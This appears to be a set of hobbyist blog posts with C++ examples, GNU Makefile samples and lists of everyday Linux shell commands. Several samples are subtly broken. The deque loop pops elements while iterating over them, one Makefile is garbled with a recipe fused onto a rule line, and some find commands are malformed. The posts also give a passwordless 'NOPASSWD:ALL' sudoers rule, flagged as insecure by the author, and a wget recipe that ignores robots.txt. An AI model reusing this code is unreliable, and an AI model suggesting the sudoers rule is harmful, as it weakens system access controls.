For heaven's sake, why would I force someone to use an IDE just because I happened to use it for a project of mine? Well, since certain IDEs do not export makefiles successfully, you have to either do a double work or go with the old method.

That's why I have decided to follow the good ol' traditional K.I.S.S. concept: keeping things as simple as possible.

So, how this mproj actually works? It's very easy to use it and convenient too. It comes with preset flags that let you choose between C and C++ standards.

The following flags are preconfigured:

  • --c89
  • --c99
  • --c11
  • --c++98
  • --c++11
  • --c++14

In other words, by choosing, let's say --c++11 flag, it will generate an empty C++ project with preset standard flag to support C++11.

Pretty cool, don't you think?

Here's an example:

bash mproj/mproj.sh --c++11 /tmp/myFirstDemo

It generates a C++11 project template inside /tmp/ directory and named it myFirstDemo.

OK, but what happens if you forget to insert a project name as your second argument?

Well, because I done this a couple of times by mistake, I have decided to default it to [FLAG]_demo, meaning that our previous example without given the project name, it should have had generated c++11_demo at the current working directory.

That's it.

I hope you enjoy it as much as I did while writing it.

Happy coding, enjoy!

A simple C++ Deque example

Being a polymath and a programming polyglot person can be really exhausting, let alone intimidating at some point. Therefore I have decided to write a few things down that would be used as a backup and as a reminder to this rusty brain.

Today we will see a very simple example how double-end queues work, also known as deque.

So, what is a double-end queue? It's a queue container that would let you add or remove elements on both of its sides; bear in mind that this happens dynamically behind the scene for you, therefore you need no worry about it.

Time for our example:

#include <iostream>
#include <deque>

int main()
{
    std::deque<int> val;

    for (int i = 0; i < 10; ++i)
    {
        val.push_front(i);
        std::cout << "front value: " << val.front() << '\t';
        val.push_back( (i * i) + 9 );
        std::cout << "back value: " << val.back() << '\n';
    }
    std::cout << '\n';

    for (auto i = val.begin(); i != val.end(); ++i)
    {
        std::cout << "pop front: " << val.front() << '\t';
        val.pop_front();
        std::cout << "pop back: " << val.back() << '\n';
        val.pop_back();
    }
}

OK, what does it do?

Basically we create a deque that accepts values of type integer and in our first loop, we push i on the front side of queue and (i * i) + 9 on the back of it.

On the second loop, we use auto as our variable initializer to assign val's beginning value to i and while has not reached the end of it, to first print the value that's about to get popped from the front side and then from the back.

Well, that was it; pretty straight forward I would say.

Alright, that's it for today.

If anyone has a question, please don't hesitate to ask.

Cheers.

GNU Makefile sample version 2.0

Hello everyone,

After a bit of experimentation, I have created the ideal Makefile that works flawlessly for me and my needs.

For now I will write it down and I will explain it to you bit by bit later on.

CXX = g++

CXXFLAGS = -Wall
CXXFLAGS += -pedantic
CXXFLAGS += -std=c++14
CXXFLAGS += -O2

SRC = src
HEADERS = include

INC = -I $(HEADERS)

OBJDIR := obj
BINDIR := bin

TARGET = $(BINDIR)/hw\_demo

SOURCES = $(wildcard $(SRC)/\*.cpp)
TMPOBJ = $(patsubst %.cpp, %.o, $(notdir $(SOURCES)))
OBJECTS = $(addprefix $(OBJDIR)/, $(TMPOBJ))

all : $(TARGET)

$(TARGET) : $(OBJECTS)
    $(CXX) -o $@ $(OBJECTS)

build:
    mkdir -p $(OBJDIR) $(BINDIR)

$(OBJECTS): $(OBJDIR)/%.o: $(SRC)/%.cpp
    $(CXX) $(CXXFLAGS) $(INC) -c $< -o $@

clean :
    @echo "Cleaning target and object files..."
    @rm -rf $(TARGET) $(OBJDIR) $(BINDIR)
    $(shell find . -type f -iname "\*.pch" -delete)
    @echo "All clear!"

full : clean build all

.PHONY : clean build all

.DEFAULT_GOAL := full

So, what does it do?

First of all, we set our CXX variable to work with g++; you can choose clang for example, but don't ask me how it works as I'm not using it. Sorry people :/

Then we set our C++ variable CXXFLAGS according to our needs: things like warnings, how strict our checking should be, what standard should we use if we want to be explicit about it (since GCC after 5.x series has gnu++11 enabled by default), and what kind of code optimization could we use, again according our needs.

Now, the real show begins! Before I learned all this, I used to have my source files, both headers and actual implementation files, exposed in project's root directory and that was no handy at all, as it was generating lots of objects and sometimes some humongous precompiled files.

That's why I decided to create src and include subfolders inside project's root directory to know exactly where each file should be and where to look for generated objects and or precompiled files at a later time.

Later, INC comes to complement our inclusion variable that would point our parser to the right direction for header files with -I $(HEADERS).

Right after, I have decided to create two different subfolders, named obj and bin, that would exist along src and headers to make my life easier and a lot cleaner without all these objects, binaries, and precompiled files scattered all over the project.

What's next? Assigning to my TARGET variable the binary name it should generate; just give it something useful to make sense according to project's name; so now my TARGET would contain something like bin/hw_demo.

Immediately follows SOURCES variables that uses wildcard function that comes with make by default and collect all source files' names inside our variable with their extension.

Then we have TMPOBJ that holds our objects; long story short, without this temporary variable, I couldn't make it work. It would insist on carry with it the full path of each object file and that would have caused problems with our later assignment to OBJDIR which you will see very soon; I had to find a work around and gladly I did (by mistake, but shhhh...don't tell anyone)!

I used notdir function to extract just the file names from SOURCES and then I would substitute each file's extension with .o with the help of patsubstr function; what follows immediately after is our OBJECTS variable that would take our objects, newly prefixed with our OBJDIR. This way it will point to obj/foo.o obj/bar.o and so on, this time without any problem.

Then it's our targets: all, build, clean, and full.

  • all builds our objects.
  • build makes our two directories right inside our project's root directory.
  • clean removes our object and binary files and then deletes the two directories we have built with build target.
  • full basically runs a cleanup process, then creates our folders, and then builds everything anew.

Last but not least, it's .DEFAULT_GOAL. By setting this special variable to the target of our choice, it executes it first by force. I chose to do so, because my code is rather super tiny and I don't have to worry about compilation time. If a project were larger, I wouldn't have set it.

So, that was it everyone.

I hope this silly script make your life a lot easier and prettier with automation.

If anyone wants to say hi, please feel free.

Cheers.

An ideal GNU Makefile for C and C++ newbies

It's been a year or so I wanted to start using GNU Makefile in place of an IDE and this week I did a bit of a research and found the ideal Makefile that both newbies and mediocre programmers will find it handy.

The code below is taken from my C Makefile; please change the settings according your needs:

CC = gcc
# We include the current directory
INC = I.
CFLAGS = -Wall -pedantic -std=c99 -O2

# Enable this if you use threads in your program
# LDFLAGS = -pthread

TARGET = demo
OBJECTS = demo.o demo_main.o

all : $(TARGET)
$(TARGET) : $(OBJECTS)

# The PThread version
# $(CC) $(LDFLAGS) -o $(TARGET) $(OBJECTS)
$(CC) -o $(TARGET) $(OBJECTS)  demo.o : demo.c demo.h

# The PThread version
# $(CC) $(CFLAGS) $(LDFLAGS) $(OBJECTS) -c demo.c
$(CC) $(CFLAGS) $(OBJECTS) -c demo.c

demo_main.o : demo_main.c

# The PThread version
# $(CC) $(CFLAGS) $(LDFLAGS) $(OBJECTS) -c demo_main.c
$(CC) $(CFLAGS) $(OBJECTS) -c demo_main.c

full : clean all

.PHONY : clean all

clean :
    rm -f $(TARGET) $(OBJECTS)

.DEFAULT_GOAL := full

A small clarification: I'm using GNU / Linux Debian testing 64-bit, therefore the following code should work out of the box with GNU make.

So basically what am I doing here? In simple words, I'm first cleaning my already built binary files, both executable and object files, and then recompile my project; as simple as that.

So, every time I'm running make command, it would first clean the project and then rebuild it. Its behavior is so due to the use of special variable .DEFAULT_GOAL.

For more information about its behavior, please visit GNU make: Special Variables.

I hope you find it useful as much as I did.

Happy coding everyone.

Cheers.

Useful Linux Commands Series - Part B

I haven't posted anything since October 23rd and I kind of feel uncomfortable with myself, because it's the first time I'm not typical with my obligations; well, what do you know, people change indeed.

Anyhow, I will continue with the series and hopefully in the near future I will be more reliable with time scheduling.

How to convert a flash video file to an MP3

For converting a flash video you can do so with various tools under GNU / Linux; one of them is with FFmpeg or libav tools. The latter is a fork of the former for political reasons that are way beyond this blog's concept or content.

In our case I will use libav tools as it comes with GNU / Linux testing (currently jessie) and it's available in place of ffmpeg.

Here's the command:

avconv -i <flash_video_file>.flv -f mp3 <result>.mp3

That was the simplest example to show. In the past I faced a serious issue with sound and I had to explicitly use an MP3 codec with my command:

avconv -i input.flv -acodec libmp3lame -aq 4 output.mp3

How to extract an audio file from a video

In my humble opinion, extracting the original (raw) audio file from a video is the best thing you can do if you are passionate about quality. In order to do so, you need to have MediaInfo installed.

You can use it from terminal to get all the information you need or you can use its GUI which is convenient for inexperienced users. Doing so, it helps immensely knowing the audio codec, thus making it easier for you to give the appropriate file extension.

Here is the command to extract your raw audio file from a video:

avconv -i file.mp4 -vn -acodec copy "audio_file_extracted.m4a"

How to convert MusePack (MPC) music files to MP3 files

A few years ago I remember I found this new "cool" audio codec and I wanted to rip a CD just for the sake of curiosity; I wasn't disappointed. After the conversion, the original CD disappeared from my room, and frankly I can't remember where I put it LOL! So, now I had to convert it to MP3 this time to sync it with my MP3 player and enjoy my music. The quality was exactly the same, unbelievably awesome results!

Below is the command I run to convert all my MPC files all at once:

for f in *.mpc; do avconv -i "$f" -acodec libmp3lame -aq 4 "${f%.*}".mp3; done

To explain it a bit, "for every .mpc file you find, recode it as MP3 file of quality 4, keep the original name but ignore suffix file extension; we are adding our own, that of .mp3".

How to delete multiple Debian packages

I remember once, I faced a problem with PHP5 packages. Something broke in the background while upgrading my packages, somewhere that I could not detect to fix it, that corrupted all PHP5 config files that I had to completely purge the problematic set and reinstall it.

The command goes as follows:

sudo apt-get purge $(dpkg --get-selections | grep php5 | awk '{print $1}')

How to remove orphaned packages

It's good to keep your system clean from orphaned packages that stuck on your system as remainders of already removed packages. In order to do so, you need to have deborphan package installed. Install it and do the following to clean up your system:

sudo apt-get purge $(deborphan)

Please note that you have to re-run deborphan a few more times to make sure all packages have been purged; some packages do not get purged recursively for some reason.

How to search for music files and play them on the fly with mplayer

One afternoon I was at home experimenting with shell scripting and it hit me; is there a way to search for a song at a location of my choice and as soon as I find the desired song to send to mplayer and play it on the fly? I started laughing with myself for "imagining silly things"; I guess that silly thought was not *that silly* after all. I have had figured out a way to make it happen!

Here's the "funny" command I'm talking about:

find <directory-of-your-choice> -type f -name "*.mp3" -print0 | xargs -0 mplayer

If you want to sort the songs first and then play them, do the following:

find <directory-of-your-choice> -type f -name "*.mp3" -print0 | sort -z | xargs -0 mplayer

OK, logically now you are asking yourself; what about searching for various forms of a file extension of a song? I'm sure you have songs that look something like .Mp3, .MP3, and so forth. Well, if you can search for different forms, why not for other file types as well? Yes, you can!

find <directory-of-your-choice> -type f \
    -iname "*.mp3" -o \
    -iname "*.m4a" -o \
    -iname "*.mp4" -o \
    -iname "*.aac" -o \
-print0 | sort -z | xargs -0 mplayer

How to determine multiple file types at once

A main characteristic of mine is my congenital curiosity about everything. I seek for answers vigorously, how things work, not *WHY* they work the way they do. Imagine now my anxiety to find answers to questions like "how the experts are implementing their programs, with what tools (language that is)" and so forth.

That's the case of file command. Unfortunately, for some reason it does not work properly, as it guesses the file type and that is something I wasn't willing to accept as an excuse. Fortunately for me, I have found mimetype command; just install libfile-mimeinfo-perl package and will make your life easier! You can thank me later.

Here is the command you could run to find file types of important programs located in /usr/bin/ and in /usr/sbin/:

find /usr/bin/ /usr/sbin/ -type f -exec mimetype {} \;

You can grep specific file types you are looking for and even sort them, like we did with other commands above.

That's it for now. I hope you enjoyed this new series. Any new set of commands I may find interesting, I will surely going to share it with you, have no worries about it. Until that time, cheers.

Useful Linux commands Series - Part A

It has been a while I haven't posted anything, so I thought it would be a nice idea to collect a few GNU / Linux commands I have on various textbooks and share them here with you. The main reason I do so is because I needed a certain command in the past and could not find it, plus I did not have my notes with me. Now I have decided to collect them all in one place and from time to time I will be adding a few more in here.

Okay, enough words; here are the commands that saved my day.

How to generate MD5 hashes for files

I have tested the following commands and work just fine.

find /home/user/Documents/ -iname "*" -exec md5sum -b {} \; > md5_hashkeys.txt

Another way to accomplish the same thing is the following code:

find /home/user/Documents/ -type f -print0 | xargs -0 md5sum > md5_hashkeys.txt

Yet another simpler way this time to accomplish the very same thing is the following code:

find /home/user/Documents/ -type f -exec md5sum + > md5_hashkeys.txt

How to backup a directory with rsync

This command saved me many times by now; that's how I backup my most important data from my machine to my external hard drive.

rsync -ahv --progress --include ".*" /home/user/ /media/external_drive_directory/

How to give root access to sudo users

CAUTION: Use it at your own risk! I'm a lazy person and I want things to be almost automated; it does not mean it's secure this way. Use it only for your desktop PC and not on your development or live server.

<username> ALL = NOPASSWD:ALL

How to download specific files from a website with wget

I don't know whether is legal or not, I had to use this command in the past to download a bunch of research documents from a university server as they could not send me a massive package with all PDF files in it; wget saved my day (yes, it was a long time ago).

wget --recursive --level=1 \
--no-directories --timestamping \
--no-parent --accept=.pdf \
--execute="robots=off" --verbose \
--directory-prefix=/home/user/Downloads/ \
"enter-your-URL-here-please"

How to display file permissions in octal under GNU / Linux

In the past I was wondering how could anyone read access rights' permissions like -rwxr-xr-x. I looked for an alternative to understand what those r, w, and x meant and found the following command to convert permissions to octal values; my life with PHP got a lot easier thanks to stat command.

stat -c '%A %a %n' *

To explain the command a bit, %A it's to display file permissions in human readable form, like the aforementioned example, %a is to display access rights in octal form (our desired result), and last %n to display file name; I chose to display everything just for demonstration purposes; you can become specific if you like.

I hope you enjoyed this series part and don't worry, I will add more content soon enough; hopefully by the end of this week. Until then, see you and enjoy your time with our commands.